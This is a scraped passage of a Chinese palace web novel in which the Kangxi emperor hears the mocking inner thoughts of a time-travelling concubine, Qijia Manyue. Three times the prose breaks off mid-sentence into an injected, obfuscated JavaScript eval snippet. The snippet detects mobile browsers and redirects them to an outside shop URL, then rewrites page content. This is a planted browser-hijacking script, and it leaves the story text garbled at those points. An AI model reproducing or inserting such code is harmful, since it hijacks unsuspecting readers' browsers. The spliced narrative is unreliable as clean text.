安嫔虽出身汉军旗,祖父却是李永芳,在这后宫家世是一等一的,如今更是众嫔之首,一向骄傲,为此不免得罪了一些妃嫔,如今头一次受到其他妃嫔的感激,一时间忍不住愣在原地。 皇贵妃在上方坐着,看着四妃中虽有心存不满介怀的人,却少有露出恶意,心下不免松了口气。 小嫔妃们彼此争斗只要不闹得太过,表哥便只会当作情趣来看,可若有子嗣的四妃参与其中,可就是她这个皇贵妃管理之过了。 简单安抚了下众人,皇贵妃便让人散去。 坐在位置上放空思绪许久后,她才挥手让人将胤禛带来。 “慢着!”不过转瞬,她又突然改变了主意,“算了,不要打扰小阿哥了。” 宫人遵令退下,她重重吐出一口气,婉拒了宫人的搀扶,缓缓踱步至后殿。 康熙朱笔在折子上停顿了许久,才听到梁九功轻声说:“齐佳贵人已在西暖阁候召。” “嗯,叫进来吧。”康熙动作顿了下,便想将笔放到笔架上,只是笔还没放下,一道心声由远而近传来。 “原来皇帝不是在乾清宫大殿批奏折啊,这个地方叫什么来着?啊……第一个字不认识……是什么勤殿?” 康熙嘴角忍不住抽了抽,指尖直接按住额角,他想他或许需要教教对方识字。 “啊!这就是金钱鼠尾?!” 康熙眼瞅着齐满月乖顺柔弱地缓步走进来,脑子里却不断出现对方的尖叫,无奈地抬手想要开口打断对方的思绪,就被齐满月下一个心声气得一噎。 “好丑啊!!!我讨厌满清!!!” 4. 第一次伴驾 “咔嚓。”一声清脆的声音打破了懋勤殿的寂静。 一侧的梁九功下意识打了个激灵,赶忙对一侧的宫女使了个眼色,快速走了几步对外面侍奉的小太监们厉声道:“还不快去叫御医!” 宫女在梁九功还未使眼色前便已经反应过来,早已跪在康熙身侧,小心捧起他的手;另一个宫女动作飞快,不知从哪里掏出一瓶药粉轻轻洒上。 这一连串的动作不过是几息间完成,齐满月难掩感叹地垂着眸暗自腹诽:“不愧是封建时代的君主,就是不把人当人啊,那跪的一下估计挺疼吧。” 康熙眼眸微微一缩,原本的怒气竟也消减了几分,不由叹了口气:“也罢,和个丫头计较什么,看样子她也不清楚自己会被别人听到心声。” 心下安慰了自己几句,可那被触碰权威的震怒还未彻底消散,谁曾想齐满月的心声再次响起。 “我一个小小的贵人,跪的次数也不比宫女少,幸好某部格格电视剧让我想到了跪的容易,只可惜云秀这次死活不同意我戴它。” 康熙听到这话动作一僵,手上刚刚洒上的药粉便掉落许多,宫女正跪在一侧,此时一见药粉洒落不由一愣,偷偷看了眼梁九功,才默默重新上药。 此时的懋勤殿只有宫女动作间衣服摩擦的细微声响再无其他,齐满月不自觉咽了咽唾沫,小心地微微抬起头,只是她只能看到御案的桌腿,并不敢真的抬头直视圣颜。 “好烦好烦,真是讨厌这个地方,这个国家啊……”抱怨的声音不住地在康熙耳中响起,那本该被压下去的怒火再次被点燃,他扫向跪在地上纤细的身影,身为帝王的骄傲让他无法接受一个女人对他的帝国厌恶。 “齐佳氏……”康熙的声音在上方响起,齐满月条件反射地压低了身体,头紧紧贴在地上,丝毫不敢动弹。 康熙看着这个一举一动皆是符合宫规的女子,那下意识脱口而出的质问一时间也无法说出口了。 “这是怎么了?叫我名字干嘛?!!”齐满月看似乖巧的外表下,那难以抑制的吐槽欲望再次响起。 “不过说起来,康熙力气好大!我是不是不该来啊?哪家城门失了火殃及了我这条小鱼?他该不会宰了我吧?没听说清宫有被处死的宫妃啊,说起来就这力气能一拳打死十八个我……” 一连串的心声砸来,康熙脸色变了又变,随着齐满月的心声他下意识地扫过面前女人那素净旗袍下难掩的纤细腰肢,眼眸中的颜色悄然暗了一瞬,满心的怒火彻底消散。 正巧御医已经赶来,行礼后到康熙面前为他检查了一番,才低声说道:“皇上龙体并无大碍,只是这几日需避免碰水。” “没想到让宫妃下跪就算了,大臣也下跪,不愧是满清,奴化得真厉害,要是放在早些年汉人王朝,大臣们估计都撞柱子了,可惜了忠臣良将都为大明而亡了,钢骨脊梁也被几次屠城削个七七八八。” 康熙没想到齐满月的心里会吐出这样的话,眼眸瞬间充满杀意,他看着面前的女子,那纤弱的身体,苍白的脸色,明明不过是他手中的蝼蚁…… “唔……”突然一股电流从他的心脏轻轻飘过,留下让他忍不住变脸的刺痛。 “警告!警告!执行者对拯救者产生杀意!警告一次!警告一次!三次抹杀!三次抹杀!” 系统的警告声一阵阵敲在康熙的耳膜中,也仿佛敲进了他的心里,他深吸了一口气,眼眸闭了闭,挥退了御医,也挥退了上前的梁九功,才看着齐满月冷声道:“齐佳氏……” “又咋了!我不想抬头看他啊!金钱鼠尾太丑了!!还是我华夏传统美男子好看啊!!长发飘飘多仙气!我不想辣眼睛!!” “滚!”刚把自己哄好的康熙,这次再也难掩怒火。 齐满月身体一僵,赶忙跪行往后退,不过片刻就消失在康熙面前。 梁九功不理解明明一直修身养性的康熙为什么突然震怒,但还是怜悯地看了眼这位齐佳贵人。 “可惜了,多少小嫔妃想伴驾一步登天,谁知道这有福气竟然遭了无妄之灾,看来以后也不过是个无名氏。” 齐满月丝毫没在意身后的众人心思,只给能听到她心声的康熙留下一声怒吼:“他有病吧!!” 康熙挥退了众人,坐到御座上,视线扫向虚空:“系统……” “哗啦!”他一下掀翻桌上的奏折,再也难以压下心里的怒火和那份他自己不愿意承认的羞怒。 他怎么都无法接受,他的大清竟然在那个女人口中不如汉人的江山,这份怒火早已压下了他看到女人面容时心中那一份惊艳和涟漪。 永寿宫齐佳贵人被宣旨伴驾的事情还没传遍六宫,她被赶出懋勤殿的事情就已经被传开了。 “什么?赶出来了?!”宜妃正和德妃一起聊天,听到宫人的回复忍不住一愣,随后展颜一笑,“看不出来啊,这齐佳氏一面圣就把万岁爷给得罪了?” 德妃没像她那样沉不住气,反而温声问道:“可有什么缘故?这齐佳氏看样子也不是那等不规矩的,怎么招皇上怒意?” 小太监磕了个头才回道:“回德妃娘娘,那边的人只说齐佳贵人进了懋勤殿没多久,里面就传了御医,不过片刻齐佳贵人就被赶了出来。” “御医?!万岁爷还是齐佳氏?!”宜妃脸上的笑意骤然消散,和德妃对视了一眼后厉声问道。 小太监再次磕了头:“回娘娘,听说是万岁爷不小心划伤了手。” 德妃看了眼宜妃,缓缓摇了摇头。 宜妃知道德妃这是让自己不要轻举妄动,毕竟后妃打听皇帝的事情虽然私下里心照不宣,可实际上是大忌讳,皇帝不计较便罢了,此时这位怒火正盛,她们撞上去怕也得不了多少好。 宜妃握了握德妃的手,才对旁边的宫女使了个眼色,赏了小太监。 等人都退下后,宜妃才凑到德妃面前:“你说这齐佳氏看起来娇娇弱弱的,怎会惹得这位爷这般怒火?” “我也不知。”德妃缓缓摇了摇头,一副不想细究的模样。 宜妃忍不住白了她一眼:“就讨厌你这样不温不火的模样。” 德妃莞尔一笑并未接话。 宜妃性子一向爽利,本就是有话直说的,自进宫起又颇受康熙喜爱,行举之间也没那么多顾忌,此刻便直言道:“咱们这位爷不仅注重名声更是将修身养性做到极致,这后宫一个月也进不来几次,你我年纪越发上来了,不如这些小嫔妃们一个个如花儿一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543745|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宜妃摸了摸自己的脸:“尤其是那齐佳氏,那容貌说是艳压后宫也不为过,没想到这位爷也这么不知道怜惜。” 德妃本来还听得平静,听到她最后一句话忍不住抬眼看她:“怎么?宜妃娘娘想要怜惜佳人?” 宜妃赶忙四处扫了一圈,才白了她一眼嗔怪道:“这话你也能说的?!我口不择言也不是一日两日尚且不敢如此,你可倒好……” 德妃似乎并不觉得自己的话有多吓人,轻笑着低头看手中的绣了一半的帕子。 宜妃看着她许久后,叹了口气:“后宫女子除了那几位有哪个是自愿的,无非是嫁了就认定了,这一辈子嫁谁不是嫁,好歹你我有家世有父兄有孩子,倒不知比我那些姐妹们又好了多少……” 德妃针尖一顿,脑海里闪过的是自己那个大儿子。 只是后宫妃嫔互相养儿子是皇帝明旨,她便是再不舍又能说什么,而且佟佳氏对胤禛倒也不是没给几分真心。 谁的孩子没被人养过,宜妃自然也是,她的大儿子被送到太后身边,如今刚开始学习蒙语和满语,她不过是日常请安才能偶尔见上一两面,说起来竟还不如德妃。 两位已经身居妃位却依旧心有烦忧的女人,就这样齐齐沉浸到自己的世界里。 “是吗?”佟佳氏自然也收到了消息,甚至她知道得比别的妃嫔还要更多。 贴身宫女秋月见她并没在意,忍不住替她着急:“娘娘不去懋勤殿看看吗?” 佟佳氏身为副后,在并无皇后的后宫里和皇后并无太大差别,她得到消息去懋勤殿并不会有窥探帝踪的罪过,毕竟副后勉强也能和皇上称一句夫妻,再加上她又是康熙的亲表妹。 “不必了。”佟佳氏的满腹心思皆在胤禛和那个系统身上,哪里有心思管表哥,不耐烦地挥了挥手让宫人退去。 秋月不解主子为什么不去关心皇帝,却也遵命退下。 佟佳氏撂下手中的笔,看着桌上厚厚的宫务卷宗忍不住揉了揉额角。 “看来……这执行者和拯救者之间确实有着某种无法被人察觉的沟通方式……”她眼眸微微眯着,指尖不自觉在手中的账册上划过。 “有了……”她眸子扫过一行数字,心下一动起了个主意,她还是想要试探出这种联系好能护着自己的胤禛。 “齐佳氏那般美人都得不到皇上的垂怜,我等这般要等到何年何月才能有幸见圣上一面……”有高位嫔妃不在意,自然有小嫔妃们兔死狐悲。 后宫里的消息总是在不经意间穿过厚厚的宫墙传到每个有心人的耳中。 就连孝庄都早早听到了这个消息。 “皇帝果真还年轻,即便那齐佳氏说出多么大逆不道的话,也不该如此不给脸面,若是齐佳氏记恨……”她端着奶茶,怎么都无法喝下去。 苏麻喇姑忍不住微微蹙眉:“主子,待会儿让皇上过来咱们问个清楚,不是说那齐佳氏并不知道自己心声泄露,既然如此又何必担心她使坏。” “涉及大清,我身为爱新觉罗氏的女人怎么能够不操心。”孝庄眼眸微垂看着手中荡起细碎波纹的奶茶。 她何尝不知道她的数次插手朝政早已让皇帝不满,只是她不放心啊…… 5. 吐槽这种事 身为七岁便登基的帝王,康熙在14岁擒鳌拜后便将皇权紧紧握在手中,即便是后期的遏必隆也因其胆小而不敢对其有所妄言,后来连太皇太后也为了爱新觉罗的皇位一步步放权。 更是在去年康熙二十年平定三藩后彻底隐退慈宁宫,若不是天降所谓系统,怕她也不会参与到朝政中。 即便真正意义的掌权已有十三年之久,可对于康熙而言,那幼年时不得不受人桎梏的感受可谓是刻骨铭心。 “启禀万岁爷,慈宁宫传来口谕……”梁九功小心上前禀道。 康熙眼眸幽深,食指轻轻摩挲了下手上的玉扳指,点了下头。 梁九功见状心下一松,站着的动作也不再那么紧绷。 想到慈宁宫的口谕,康熙有些不耐。 自从系统出现后原本隐退慈宁宫的太皇太后也开始插手朝政,虽说只是些日常却也让他极为不舒服,只是到底是养育自己长大的额涅玛玛,除了这一年来,之前并未有过霸占朝政的事情,便也压下了这几分烦躁。 “我今儿听说你把那丫头叫过去没多久就赶走了?”一见到康熙进来,孝庄连他行礼的时间都没给,便急切问道。 康熙脑子里瞬间闪过齐满月满脑子的吐槽,脸色不由一黑。 见状,孝庄心下有了猜测,犹豫片刻后还是说道:“虽说那丫头因出身问题失了些敬畏,可看在她的身份上也该容让一二,只待窥见未来解了那等困局,又何惧其他?” 康熙其实此时已经没那么生气了,听到孝庄这样说,也便顺势点头应道:“额涅玛玛放心,孙儿心中有数。” “嗯,我知道,你都那么大了,是我瞎操心了。”孝庄听到康熙这样说,脸上也不由露出几分笑意。 “哪有,孙儿在您面前永远是不懂事的孩童,还需要您帮忙掌舵。”康熙自然不介意给额涅玛玛说几句好听的。 孝庄点了点头,留康熙用了饭后,才示意苏麻喇姑将皇帝送走。 一行人缓步离开慈宁宫,康熙看着苏麻喇姑敬重道:“额涅,我知道您和额涅玛玛的意思,只是那些话实在……” 苏麻喇姑展颜一笑,她看着自己亲手带大的孩子,眼中的慈爱越发浓郁:“我陪着主子走过多少风雨见过多少奇闻异事,你放心吧,若是你真瞒着,日后又怎能确定她不从其他地方知晓,到时候岂不是更吓一跳?” 听到苏麻喇姑这样说,康熙只得叹了口气将自己听到的事轻声描述了一遍。 却没承想苏麻喇姑丝毫不怒,只轻笑两声:“就这啊,不过是些孩子话。” 这话里的意思康熙瞬间便明白过来,心下也有些感慨:“是啊,不过是些孩童话,即便对方来历奇特又如何,只要生活在大清那么总有一天她会喜欢上这里就像她喜欢那些汉人的王朝一样……” 想到这里,康熙手下意识抬了下想要摸向自己的金钱鼠尾,却在将将抬起时便察觉了自己的举动赶忙将手放下。 苏麻喇姑见状嘴角微微勾起,不等康熙察觉,她又赶忙说道:“主子说了,那齐佳氏看着不像个胆大的,想来今日将这孩子吓到了。政务也非一日能尽,您近日劳心,去看看也无妨,齐佳好歹也是大姓,也该给老姓们一些脸面。” 康熙本就在犹豫是照常去懋勤殿批阅奏折,还是去永寿宫看看,那个胆大的女人别真的记恨了他们大清,只是担忧自己这般在后宫落了几分贪恋美色的印象,此时听到苏麻喇姑这样说,心下不由一松。 或许是得到了大家长的同意,康熙心下多了几分不易察觉的雀跃,这份雀跃在看到永寿宫时达到顶峰,那张如花面容和纤弱身影更是不住在他脑海中出现…… 齐满月天不亮就爬起来请安,好不容易回来还没缓过劲儿就被叫到懋勤殿伴驾,结果跪了好半天挨了一顿斥责回来,让她整个人现在都处在轻微暴躁中,连云秀都察觉到了,给她端茶的动作都轻了许多。 “算了……好歹没被塞进其他宫里,这永寿宫好歹安安静静没人打扰,我也能捞个偏殿住着,要是其他宫里怕只有个小房间。”齐满月心中兀自感慨了半天,齐满月倚靠着罗汉床的软垫,手里的书是怎么都看不下去。 “为什么历史书上没写清宫里女人只能看所谓的女则女训女四书!我只想看话本子,不想看糟粕啊!!” “小主,要不去御花园走走?”云秀将一杯温度正合适的茶递到她面前。 齐满月接过茶水连连摇头:“不去,我身份卑微,规矩又多,若再碰到几个高位嫔妃,我的膝盖是彻底不用了。” 云秀没想到这位小主说话如此直白,赶忙四处扫量了一圈,又警告了几个侍奉的宫女才低声劝道:“宫里最不缺的就是耳朵,您该注意些。” 齐满月话一脱口就察觉了不对,自从恢复记忆后,她虽然还能本能的保持在这个世界学到的礼仪,可比最初的自己可是松懈了许多。 “是啊……我是该注意些。”齐满月看着杯子中茶水荡起些许涟漪,忍不住轻喃道。 她不住地在内心给自己催眠:“我是大清齐佳氏齐佳妞妞,我是大清齐佳氏齐佳妞妞……” 齐满月盼着有一日自己将这个身份刻在骨血中,免得自己行差踏错不仅害了自己更可能害了齐佳一族。 眼睛瞥向一侧的女则,齐满月咬着唇,许久后才伸手拿起女则装作什么都没发生一样翻看着,可思绪却怎么都无法真正地落在书页上。 云秀并不知道她满心的纠结,只当她不过是年轻初入宫又有副好容颜失了谨慎,此时想明白罢了。 “还是看不进去啊……”简单翻了几页后,齐满月还是无法接受自己受这种文字的荼毒,为了自己的身心着想,她盘算着能不能给自己找点事儿做,毕竟这里是清朝皇宫可谓是有着顶尖工匠的地方。 “飞行旗……不行不行,太惊世骇俗了!”想到自己前世玩得最多的游戏,她心下一动却又赶忙改变主意。 “拼图……倒也不是不行,这个时代应该有七巧板或者类似玩具了,只是我该怎么描述呢?”想到另一个游戏后她便默默盘算起来。 不过片刻她又摇了摇头,总觉得拼图不仅要画出图案,还要告诉工匠将边缘做出不规则的波浪,想到再向工匠解释就觉得脑子痛。 正巧内务府送来一些份例,云秀正带着宫人核对。 “这些是?”齐满月看着零零散散摆了一小片的东西,忍不住皱了皱眉。 “是奴婢的错,惊扰小主了,这是内务府送的日例,按理说应该更早些就送来的,也不知因何耽搁了。”云秀手脚麻利地带着人收拢好东西后,赶忙回道。 齐满月看着白蜡、黄蜡各一支,羊油蜡三支,眼眸顿时一亮,她想到一个打发时间还好看且不会让人察觉的东西了。 “这些蜡烛……可以做成其他颜色吗?”指着蜡烛,齐满月小声问云秀。 云秀愣了下,赶忙劝道:“小主,宫规森严,身为后妃不得随意指定蜡烛颜色,那是逾制之罪!” “啊……这样啊……”齐满月还真没听教导礼仪的掌事姑姑说过这些。 不过转念一想也明白过来,怕是也没哪个头铁的宫妃会动改蜡烛颜色的想法。 云秀唯恐她年轻不知轻重,赶忙拉着她细细讲了一通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543746|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫规,才不放心道:“每日闲暇时,您做做针线活就好,奴婢没事儿就在您耳朵边念叨几句宫规,日子久了也就记住了。” 齐满月忍不住抽了抽嘴角,无奈点了点头。 云秀再三告诫她蜡烛更改只能是皇帝御批后,赶忙加快了脚步,快速吩咐人去膳房取来每日的点心,又赶忙赶到齐满月身边,见她乖乖听话在廊下绣花,不由松了口气。 齐满月看似绣花不过是靠着多年本能维持,她脑海里想的是白色蜡烛做火漆印章会不会被认为大不敬晦气,又或是她自己弄些颜色做些蜡球,反正也不点,应当也不算违制,又想到实在不行也不是不能去做拼图。 这般纠结中,康熙的御驾已经到了永寿宫门前,太监们跪安后赶忙回去禀告,却见康熙挥了挥手,直接迈步进去。 也不知道这日齐满月得罪了哪位神仙,刚刚那一番现代玩具的念头不曾被康熙听到,这突然而起的吐槽却正巧落入对方耳中。 “话说满族一直有未嫁女剃前额头发的习俗,幸好当初我死活不同意,阿玛额娘心疼我又想着我不爱出门才随了我的意,后来到了选秀年更是不用剃了,不过宫里应该不用剃发吧,我记得只有未嫁女才有啊,说起来进宫应该算出嫁了吧?没注意其他高位娘娘们头发是被剃的啊……我不想剃头呜呜呜呜呜。” 听着这一堆碎碎念,康熙忍不住抽了抽嘴角,他的嫔妃要梳两把头自然要续发,更不用说剃前额本就是少女才有的习俗。 想到这里,他对这个嫌弃自己国家的女人仅有的几分怒意也已经彻底消散,他何必和个女孩儿计较呢,这都记不住,一看就是个傻的。 嘴角不自觉勾起,穿着御靴的脚刚刚抬起就听到里面声音再次响起。 “说起来……康熙到底好不好色?听说一夜御七女哎,话说金钱鼠尾真丑啊,后宫女人怎么亲下去的?咦~好嫌弃,希望别来睡我,我怕嫌弃得哭了。” “齐佳氏!”康熙再也没忍住,那怒火骤然而起。 廊下的齐满月吓得绣绷掉在地上,快速跪在地上,额头紧紧贴着地面,一副谨慎胆小被吓到的可怜模样,让康熙瞬间回过神来,他扫过那些惊恐跪在地上瑟瑟发抖的宫人,又扫过齐满月,一股无名的憋屈让他有火都不知道怎么发,毕竟怎么看人家齐佳氏都是乖顺的做绣工,而他却莫名发火。 正在这时,齐满月心里的吐槽再次响起:“狗皇帝!果然阴晴不定!还说雍正性情不好!这就是遗传!遗传!后面九龙夺嫡都是他的锅!儿女不和都是老人无德!!” 几句话说下来,康熙的怒火骤然消散,他眼眸中闪过不可置信,下意识往前迈了一步想要问个清楚,却又赶忙反应过来。 深吸了几口气后,他还是快步走进房里坐下,不忘对外面还未起身的齐满月喊了一声:“还不进来伺候!” 齐满月骂康熙的话暂且放下不提,只说后宫里听到皇帝临驾永寿宫后无不感慨齐佳贵人好命。 “听说从慈宁宫出来就去了永寿宫,是太皇太后的意思,看来齐佳氏有福气竟入了老祖宗的眼。”惠妃听着下人的回话,忍不住轻笑了几声,不在意地将人挥退。 高位嫔妃自是不在意,可低位的小嫔妃们却心酸了,她们不知做了多少这样的梦,却不曾被个新人抢了先,可想到对方那张脸又不得不服气。 慈宁宫孝庄听到苏麻喇姑的回复后也没多生气,对她而言比这更难听的话都听过,不过是个小姑娘在心里说了几句又能如何呢,想到这里她眼眸看向大殿外,眼中带着几分惆怅和感慨:“未来的世界啊……该多好才养出这样胆大单纯的丫头……” 6. 气死狗皇帝 初春时的晌午太阳并不算很热,透过窗棂洒进殿里为背对着窗户的康熙晕染了一层金色的光,竟将他身上那几分莫名的冷意给消减了许多。 康熙刚拿起杯子喝了一口茶,动作就突然一顿,眉头微蹙往后微微退了些许,一副被劣质茶叶恶心到的样子。 “退你妹!嫌弃我的茶叶难喝给我提高福利啊!”这副模样恰好被刚进来的齐满月扫到,心中顿时翻了个白眼。 “说起来……我记得以前看的资料、电视剧还是小说来着,说是内务府并不会将最好的东西送进宫里,以防皇帝们下次想起来时再难拿出更好的,于是后来皇帝连茶叶都要喝次一等的。” “……啧,还不如我呢,至少我知道自己喝的茶,没被当成大傻子糊弄。” “咔嚓!”又一个杯子在康熙手中碎裂。 “他是怪物吗!!为什么捏碎我的杯子!我一个小贵人东西很珍贵的好嘛!!”康熙的怒火还没发出来就被面前女人心中的怒吼打断。 他看了看手中不说比不上自己那边的,甚至连一些高位嫔妃身边大宫女都看不上的茶盏,一时间也有些不知道该说什么了。 “都怪面前这位祖宗!抠门!明明睡了那么多女人,吝啬给位分就算了,福利待遇还差!” 康熙听着耳边齐满月喋喋不休的抱怨,也不知道是听得多了被洗脑了还是如何,竟然还真察觉出几分尴尬。 “齐佳氏。”康熙轻咳一声,打断了面前人一直不停歇地抱怨。 齐满月赶忙跪下再次行礼。 “起吧。”康熙愣了一瞬,这才意识到现在后宫里对低位嫔妃确实规矩严苛了些。 齐满月站的位置刚好被一缕阳光照到,金色的阳光洒在她的面容上,为她本就白皙的肌肤染上一些浅色光晕。 康熙也是这时才发现齐满月并没有像其他妃嫔那般光滑如鸡子,反而一些浅淡的瑕疵在光的映照下极为明显。 “咋了咋了?怎么又不说话了?看我干嘛?!我知道我长得好看,但他不像是被我迷住了啊?” “该不会是因为我没修脸被发现了吧?太痛了!而且还很容易伤害皮肤!我的汗毛那么浅按理说看不出来啊?” “啊啊啊,为什么还不走啊!扎的旗头扯得头皮好痛!我想要松头发了!” 康熙忍不住挑了下眉,垂眸看着手中新换的茶盏,一副老神在在的模样,可那眼眸中却带着几分戏谑。 总算让这个口不择言的丫头遭一回罪了。 他这样淡定地坐着喝茶,倒是为难了站着的齐满月,他不说什么其他宫人更是不敢动弹。 结果这幅模样落在前来找人的苏麻喇姑眼中,竟像是皇帝在惩戒宫妃一般。 她愣了一瞬,才忍不住偷偷嗔怪了一眼康熙。 康熙幼年时也曾被苏麻喇姑教导,这一眼扫过来下意识后背一紧,不过转瞬他就反应过来,看着齐满月脸色有些发白,也知道自己做得有些过。 “额涅来了,齐佳氏赐座。” 他话是这样说,可面对着自己都站起来的康熙,齐满月怎么敢当着他的面坐下。 “主子说齐佳一族已经多年未有女子入宫,又是当年八大姓之一的老姓,便忍不住想要多见见齐佳贵人。”苏麻喇姑轻笑着解释完自己的来意。 康熙知道这不过是表面理由,恐怕暗里是太皇太后不放心他,担心他再被齐佳氏气到做出不理智的事来。 苏麻喇姑看向齐满月轻笑着:“齐佳贵人,主子说了,八大姓本是咱大清的根,您是穆哈连的孙女,又是这些年头一个入宫的齐佳氏,合该多多说说话才是。” 康熙看着齐满月那一副娇弱乖巧、颇为守规矩胆小的普通大清女子模样,脑中不断闪过那些心声,只觉得面前之人堪称表里不一第一人。 齐满月本来就因为康熙的接连莫名反应搞得惴惴不安,此时听到太皇太后召见,恨不得立刻飞过去做个小甜妞,哄这个老祖宗给自己当靠山。 “当然,这是奴婢的荣幸,亦是齐佳一族的荣幸。”齐满月乖顺的行了个礼。 康熙听着她心里不断尖叫着要当小甜妞哄太皇太后,面上却带着受宠若惊,没忍住嫌弃的扫了一眼。 这副模样自然不会落入那些不敢直视圣颜的宫人眼中,反倒是落入苏麻喇姑眼中。 她忍不住微微低头勾起嘴角,才对着齐满月说道:“好孩子,天色尚早,不如就跟着我现在过去?” “有劳姑姑。” 康熙顺势看了眼天色,才对苏麻喇姑说道:“额涅带着齐佳氏过去就是,朕也回去批折子了。” 说罢直接迈步往外走,众人赶忙行礼:“恭送圣驾。” “哇!终于走了!要见偶像咯~我要将未来告诉偶像,今年有什么来着……” “啊!顾炎武去世!大东巡!还有什么来着?” 康熙离开永寿宫的步子一顿。 他没想到今日见了齐佳氏两次都没让丫头吐出一点未来信息,自己祖母不过一个召见就能让人家将消息送上门去。 不过顾炎武是二月去世,大东巡也因选秀而推迟,并不算要紧的。 这样想着,康熙的脚步继续向前,眼瞅着就要到了御撵前,就听到身后一个声音响起。 “啊!今年沙俄派人偷偷进入东北勘测,引发了二十四年的战争!我想起来了,尼布楚条约!康熙也是百年屈辱的罪魁祸首之一!” 康熙一只脚踩在御撵脚踏上,脸色不断青红流转。 “万岁爷?”梁九功小心上前,低声喊了一声。 康熙回过神来,冰冷的眼神将梁九功吓了一跳,赶忙肃立在一侧。 这时苏麻喇姑和齐满月也走到了此处,见他竟然没离开,齐满月等人赶忙行礼。 “朕想着也有许久不曾陪祖母好好坐坐了,也无要紧政事,不若今日下午朕就一起去坐坐吧。” 苏麻喇姑有些诧异,她可是知道面前这位皇帝是对权势有着何等掌控欲,对自己的形象何等注重,怎么会做出这种让人诟病的举动来。 可看着康熙若有若无扫过齐满月的视线,心下一动,看来这位齐佳贵人应该是要透露什么要紧的事情,皇帝不放心吧…… 想到这里,苏麻喇姑暗自叹了口气,自己主子虽说选择彻底放权让皇帝放心,可系统这个意外一出现,主子也开始慢慢插手政务,也不知道未来祖孙二人会不会因此产生隔阂,万一像先帝那样…… “啊啊啊!康熙去干嘛!我要和我的偶像贴贴,做她最可爱的小甜妞!不想和丑男人讲话!” “他为什么那样看我!!好可怕!孝庄嫲嫲救命!你孙子好像要鲨了我!” 康熙气急之下忍不住轻笑一声,眼神更是像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543747|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小刀子一样飞向齐满月。 他本来计划今晚直接召齐佳氏侍寝,没想到这丫头接二连三地嫌弃他,他又何必给她这份恩赐。 他心里百般不舒服,可落在齐满月眼中,皇帝恶狠狠的眼神不仅莫名其妙,好像还有点大病。 至于他心中那些心思,她自然是不知道,但凡她知道怕是骂人的八千字小作文三分钟内就能写出来甩在对方脸上。 齐佳贵人被召伴驾又被怒斥送回,再到皇帝亲至永寿宫,没多久又被太皇太后召见,皇帝还一副不放心的模样跟着一起去了慈宁宫。 这一连串的变化让后宫众人眼花缭乱,满脑子雾水。 “嗯,知道了。”皇贵妃佟佳氏摆了摆手让宫人下去,才一把抱住胤禛,“看来你汗阿玛真的重视这位拯救员啊……” “就是不知道这拯救员究竟和你汗阿玛是怎么沟通的,又怎么得罪了他还能让他原谅?” “看来,本宫要想个办法让你见一见这位拯救员了……” 皇贵妃的轻喃并未落到一心玩玩具的胤禛耳中,皇贵妃见状轻笑着将胤禛往自己怀里又按了按。 “额娘?”胤禛呆呆地从她的怀里艰难拔出自己的小脑袋,满脑子雾水。 “没事儿,额娘啊,一定会将胤禛保护得好好的。”皇贵妃一脸宠溺地捏了捏胤禛的小脸。 这边母子亲热,那边大阿哥和太子兄弟间也突然友好了起来。 “太子?!你干嘛?!你干嘛这样看着爷!!”大阿哥胤禔一脸惊恐地看着太子胤礽。 胤礽在那日和汗阿玛交心后,这几天心情一直不错,连一向爱和自己竞争的大哥都看顺眼了不少。 今天看着大哥又一脸不服气地望着自己,他忽然觉得大哥倒也挺可爱的,至少比那莫名其妙的系统顺眼多了。 “大哥,你今日这篇文章如果有什么不懂的直接问我就好,师傅们不一定有时间,若是我有什么布库不解的也找你。” 胤礽这话一说胤禔不觉得他亲近,只觉得汗毛直立,忍不住后退了好几步。 胤礽被他的动作吓了一跳,下意识往前走了几步,想要看看他怎么了。 却没想到已经十岁、且一直自认为是个稳重大孩子的胤禔突然脸色大变,犹如幼童一般,惊恐地往惠妃所在的延禧宫跑去。 延禧宫里惠妃正听着小太监小宫女们给她讲笑话逗闷子,就见自家大儿子满头大汗的如同小牛犊一样冲进宫来,一头扎进她的怀里。 “本宫的新衣服!”她一把将儿子推开,嫌弃地戳了戳他的额头,“你呀你呀,都十岁了,怎就光长个子不长性子。” “额娘!太子疯了!唔!!!”他话音刚落,嘴就被惠妃一把捂住。 惠妃冷厉的眼神扫过周围的宫人,快速给了贴身宫女一个示意。 等人都退个干净,她才恨铁不成钢地戳着儿子的额头,直把那额角戳了个通红,才又心疼地帮儿子揉了揉。 “你作死啊!太子也是你能胡乱掰扯的!这什么话都敢往外说?!” 胤禔不是个傻子,此时也反应过来自己的纰漏,脸上不由带上一些后怕。 见他还知道怕,惠妃忍不住松了口气:“行啦,说说吧,怎么回事?” 